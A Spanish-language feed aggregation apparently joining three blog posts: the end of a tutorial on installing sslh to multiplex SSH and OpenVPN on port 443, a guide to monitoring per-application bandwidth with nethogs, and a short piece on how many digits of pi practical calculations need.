    wget https://github.com/yrutschle/sslh/archive/v1.15.tar.gz

    Lo descomprimimos

    tar -xvzf v1.15.tar.gz

    Compilamos e instalamos

    make install

    Una vez hecho eso, tenemos que configurar sslh para indicarle como queremos que mueva las conexiones.

    lo más fácil es usar el puerto 443 de la interface de red exterior para sslh y poner los otros servicios en localhost. De esa forma solo exponemos un puerto abierto al exterior y el resto de servicios están ocultos a miradas ajenas.

    Un ejemplo de uso de sslh para escuchar en el puerto 443 de la interface de red y enviar el tráfico SSH al puerto localhost 22

    sslh -p 172.16.183.139:443 --ssh 127.0.0.1:22

    Si queremos mover tráfico openvpn, tan solo tenemos que añadir el flag --openvpn 127.0.0.1:1194

    De esa forma estaremos moviendo tráfico SSH al puerto 22 y tráfico OpenVPN al puerto 1194 pero todas las conexiones desde el exterior irán contra el puerto 443
    21 Aug 17:06

    Cómo ver el uso del ancho de banda de cada aplicación

    by Sergio

    Estar navegando o descargando algo y que la velocidad no sea la que esperamos con nuestra conexión es algo que puede pasar frecuentemente. Si bien en muchas ocasiones la culpa es de nuestro proveedor de Internet (el que tiene Arnet seguro sabe de lo que estoy hablando), en algunos casos son las aplicaciones que estamos ejecutando las consumen demasiado ancho de banda, dejándonos muy poco para navegar o para la descarga que estamos haciendo. Nethogs es una aplicación muy simple y fácil de utilizar que nos muestra el uso que hace cada programa de nuestra conexión.

    Para poder usar a esta aplicación necesitamos conocer el nombre de nuestra interfaz de red. La manera de obtener esta información puede cambiar entre las diferentes distribuciones, siendo las posibles opciones:

    • Listando interfaces de red con el comando ifconfig

      $ ifconfig eth1 Link encap:Ethernet HWaddr 00:24:A5:47:94:F5 inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1 RX packets:19350381 errors:0 dropped:0 overruns:0 frame:0 TX packets:23766981 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:532 RX bytes:2143923599 (1.9 GiB) TX bytes:371647834 (354.4 MiB) Interrupt:15 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:153583 errors:0 dropped:0 overruns:0 frame:0 TX packets:153583 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:16513552 (15.7 MiB) TX bytes:16513552 (15.7 MiB) En este caso nuestra interfaz de red es eth1
    • Listando interfaces de red con el comando ip link

      $ ip link 1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: enp2s0: mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000 link/ether bc:ae:c5:8c:e1:f7 brd ff:ff:ff:ff:ff:ff En este caso nuestra interfaz de red es enp2s0

    Una vez que tenemos este dato sólo ejecutamos:

    $ sudo nethogs interfaz

    De esta manera obtenemos el uso de ancho de banda de cada aplicación:

    Nethogs

    En mi caso, prácticamente toda la capacidad de conexión la estaba usando axel, por lo que mis descargas iban a la máxima velocidad posible.

    Descarga: El repositorio de tu distribución favorita

    Descubrí esta aplicación gracias a DesdeLinux

    Artículos Relacionados

    28 Jul 23:44

    Usos práctico de los decimales de pi

    by alvy@microsiervos.com (Alvy)

    Pi¿Cuántos decimales de pi son necesarios para realizar cálculos prácticos? Aunque los decimales del redondo número son infinitos no hace falta conocer muchos de ellos para usar la constante matemática de forma práctica: la NASA se conforma con 15 o 16 para los cálculos de sus sondas espaciales; el Instituo Nacional de Estándares y Tecnología (NIST) encuentra suficientes unos 32 decimales para comprobar los cálculos de los ordenadores. Y para calcular el diámetro de la Tierra con una precisión de un milímetro bastarían tan solo 10 decimales, para el tamaño del universo completo dicen que bastan unos 50. De modo que por encima de eso, si acaso te sabes más de memoria, es más por puro placer que por cuestiones prácticas; la única otra posible razón es calcularlos para probar la velocidad de algún nuevo ordenador o batir un récord. [Fuente: It's Okay To Be Smart.]

    Bonus: Hoy 22 de julio es el Día de aproximadamente pi (o de la aproximación a pi). La fecha 22/7 equivale a 3,14285714 que es una buena aproximación a pi (π) con dos decimales (3,14159…). Por eso se celebra esa fecha como la que más se aproxima al valor de pi en todo el año.

    # Enlace Permanente